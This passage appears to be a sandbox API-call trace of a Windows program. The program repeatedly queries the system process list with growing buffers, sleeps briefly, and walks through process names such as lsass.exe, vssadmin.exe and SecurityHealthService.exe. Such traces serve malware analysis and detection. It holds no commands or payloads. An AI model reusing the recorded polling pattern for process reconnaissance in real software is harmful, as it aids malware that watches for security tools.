(AnsiString="conhost.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0058.324] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.324] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0058.324] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0058.324] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.324] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.324] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0058.324] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.324] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.325] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0058.325] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0058.325] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0058.325] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.325] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.325] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.325] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.325] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.325] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0058.326] Sleep (dwMilliseconds=0x64) [0058.790] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0058.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.793] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0058.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.793] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0058.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.794] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0058.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.794] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0058.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.794] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0058.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.795] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0058.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.795] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0058.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.795] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0058.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.796] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0058.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.796] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0058.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0058.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0058.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0058.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0058.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0058.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.799] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0058.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.799] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0058.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.800] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0058.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.800] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0058.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.801] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0058.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.801] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0058.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.802] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0058.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.802] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0058.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.803] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0058.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.803] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0058.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.804] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0058.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.805] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0058.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.805] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0058.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0058.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0058.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175aa8 [0058.806] RtlFreeAnsiString (AnsiString="System") [0058.806] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175aa8) returned 1 [0058.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0058.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161dc0 [0058.806] RtlFreeAnsiString (AnsiString="smss.exe") [0058.806] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0058.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0058.806] RtlFreeAnsiString (AnsiString="csrss.exe") [0058.806] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0058.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0058.806] RtlFreeAnsiString (AnsiString="wininit.exe") [0058.806] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0058.807] RtlFreeAnsiString (AnsiString="csrss.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0058.807] RtlFreeAnsiString (AnsiString="winlogon.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0058.807] RtlFreeAnsiString (AnsiString="services.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0058.807] RtlFreeAnsiString (AnsiString="lsass.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0058.807] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0058.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0058.807] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0058.807] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0058.808] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0058.808] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175bf8 [0058.808] RtlFreeAnsiString (AnsiString="dwm.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175bf8) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.808] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0058.808] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.808] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.808] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0058.809] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0058.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.809] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0058.809] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.810] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.810] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.810] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.810] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0058.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0058.810] RtlFreeAnsiString (AnsiString="audiodg.exe") [0058.810] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0058.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161da8 [0058.810] RtlFreeAnsiString (AnsiString="sihost.exe") [0058.810] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.810] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.810] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.812] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.812] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.812] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.812] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0058.813] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0058.813] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0058.813] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0058.813] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0058.813] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.813] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.813] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0058.813] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0058.813] RtlFreeAnsiString (AnsiString="Memory Compression") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0058.813] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0058.813] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0058.813] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.814] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, 